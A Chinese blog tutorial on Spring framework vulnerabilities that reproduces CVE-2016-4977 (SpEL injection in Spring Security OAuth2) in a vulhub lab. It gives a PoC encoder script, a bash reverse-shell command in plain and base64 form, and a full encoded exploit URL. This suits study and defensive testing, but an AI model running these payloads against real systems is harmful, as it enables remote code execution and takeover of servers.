【网络安全】Spring框架漏洞总结(一)

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Spring简介

Spring是Java EE编程领域的一个轻量级开源框架,该框架由一个叫Rod Johnson的程序员在2002年最早提出并随后创建,是为了解决企业级编程开发中的复杂性,业务逻辑层和其他各层的松耦合问题,因此它将面向接口的编程思想贯穿整个系统应用,实现敏捷开发的应用型框架。框架的主要优势之一就是其分层架构,分层架构允许使用者选择使用哪一个组件,同时为J2EE应用程序开发提供集成的框架。

2009年9月Spring 3.0 RC1发布后,Spring就引入了SpEL (Spring Expression Language)。类比Struts2框架,会发现绝大部分的安全漏洞都和OGNL脱不了干系。尤其是远程命令执行漏洞,这导致Struts2越来越不受待见。

因此,Spring引入SpEL必然增加安全风险。事实上,过去多个Spring CVE都与其相关,如CVE-2017-8039、CVE-2017-4971、CVE-2016-5007、CVE-2016-4977等。

SpEL是什么

SpEL(Spring Expression Language)是基于spring的一个表达式语言,类似于struts的OGNL,能够在运行时动态执行一些运算甚至一些指令,类似于Java的反射功能。就使用方法上来看,一共分为三类,分别是直接在注解中使用,在XML文件中使用和直接在代码块中使用。

SpEL原理如下∶

  1. 表达式:可以认为就是传入的字符串内容
  2. 解析器︰将字符串解析为表达式内容
  3. 上下文:表达式对象执行的环境
  4. 根对象和活动上下文对象∶根对象是默认的活动上下文对象,活动上下文对象表示了当前表达式操作的对象

Spring框架特征

1.看web应用程序的ico小图标,是一个小绿叶子

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2.看报错页面,如果默认报错页面没有修复,那就是长这样

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3.wappalyzer插件识别

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4.f12看X-Application-Context头

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本地环境搭建

安装IDEA

官网下载安装包 :https://www.jetbrains.com/idea/download/#section=windows

这里选择得商业版,免费试用30天

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安装目录默认

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报错不用管,点击确认,一直默认下一步

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双击下图图标

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选择Download SDK

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选择jdk1.8

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点next

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点击Spring Web

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等待安装

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点击右上角启动,可以看见默认端口8080

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成功访问,部署成功

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这里复现的环境搭建均采用p牛的vulhub靶场环境。

Spring渗透总结

1.Spring Security OAuth2 远程命令执行(CVE-2016-4977)

漏洞简介

Spring Security OAuth2是为Spring框架提供安全认证支持的一个模块。Spring Security OAuth2处理认证请求的时候如果使用了whitelabel views,response_type参数值会被当做Spring SpEL来执行,攻击者可以在被授权的情况下通过构造response_type值也就是通过构造恶意SpEL表达式可以触发远程代码执行漏洞。故是在需要知道账号密码的前提下才可以利用该漏洞。

影响版本

2.0.0-2.0.9
1.0.0-1.0.5

漏洞验证

启动漏洞

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访问url

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输入下面的漏洞测试url:

http://192.168.173.144:8080/oauth/authorize?response_type=${2*2}&client_id=acme&scope=openid&redirect_uri=http://test

访问后会弹窗,输入用户名和密码 admin:admin即可,返回结果可以看到值被成功计算为2*2=4

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页面返回执行了我们输入的SpEL表达式,这里可以看作是SpEL表达式的注入,既然表达式被执行了,我们可以考虑代码注入的可能性。

漏洞复现

这里看一下vulhub提供的poc,poc地址: https://github.com/vulhub/vulhub/blob/master/spring/CVE-2016-4977/poc.py

#!/usr/bin/env python
message = input('Enter message to encode:')
poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
for ch in message[1:]:
   poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch) 
poc += ')}'
print(poc)

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可以看出该poc对输入的命令进行了变形,将命令的每个字符串转化为ASCII码配合tostring()方法并且用concat拼接传入exec执行。

反弹shell:

对于poc需要先进行base64编码(java反弹shell都需要先编码,不然不会成功,原因貌似是runtime不支持管道符,重定向,空格,管道符都有可能造成错误 在线生成有效载荷的网站:http://www.jackson-t.ca/runtime-exec-payloads.html

bash -i >& /dev/tcp/192.168.173.133/1234 0>&1

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3My4xMzMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}

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生成poc

${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(98).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(70)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(83)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(43)).concat(T(java.lang.Character).toString(74)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(90)).concat(T(java.lang.Character).toString(71)).concat(T(java.lang.Character).toString(86)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(82)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(79)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(121)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(80)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(54)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(125)))}

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修改后的url:

http://192.168.173.144:8080/oauth/authorize?response_type=${poc的位置}&client_id=acme&scope=openid&redirect_uri=http://test
http://192.168.173.144:8080/oauth/authorize?response_type=${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(98).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(70)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(83)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(43)).concat(T(java.lang.Character).toString(74)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(90)).concat(T(java.lang.Character).toString(71)).concat(T(java.lang.Character).toString(86)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(82)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(79)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(121)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(80)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(54)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(125)))}&client_id=acme&scope=openid&redirect_uri=http://test

监听端口:

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执行url,看见如图的显示页面说明已成功执行:

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反弹shell成功。

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KillDefender 的 Beacon 对象文件 PoC 实现
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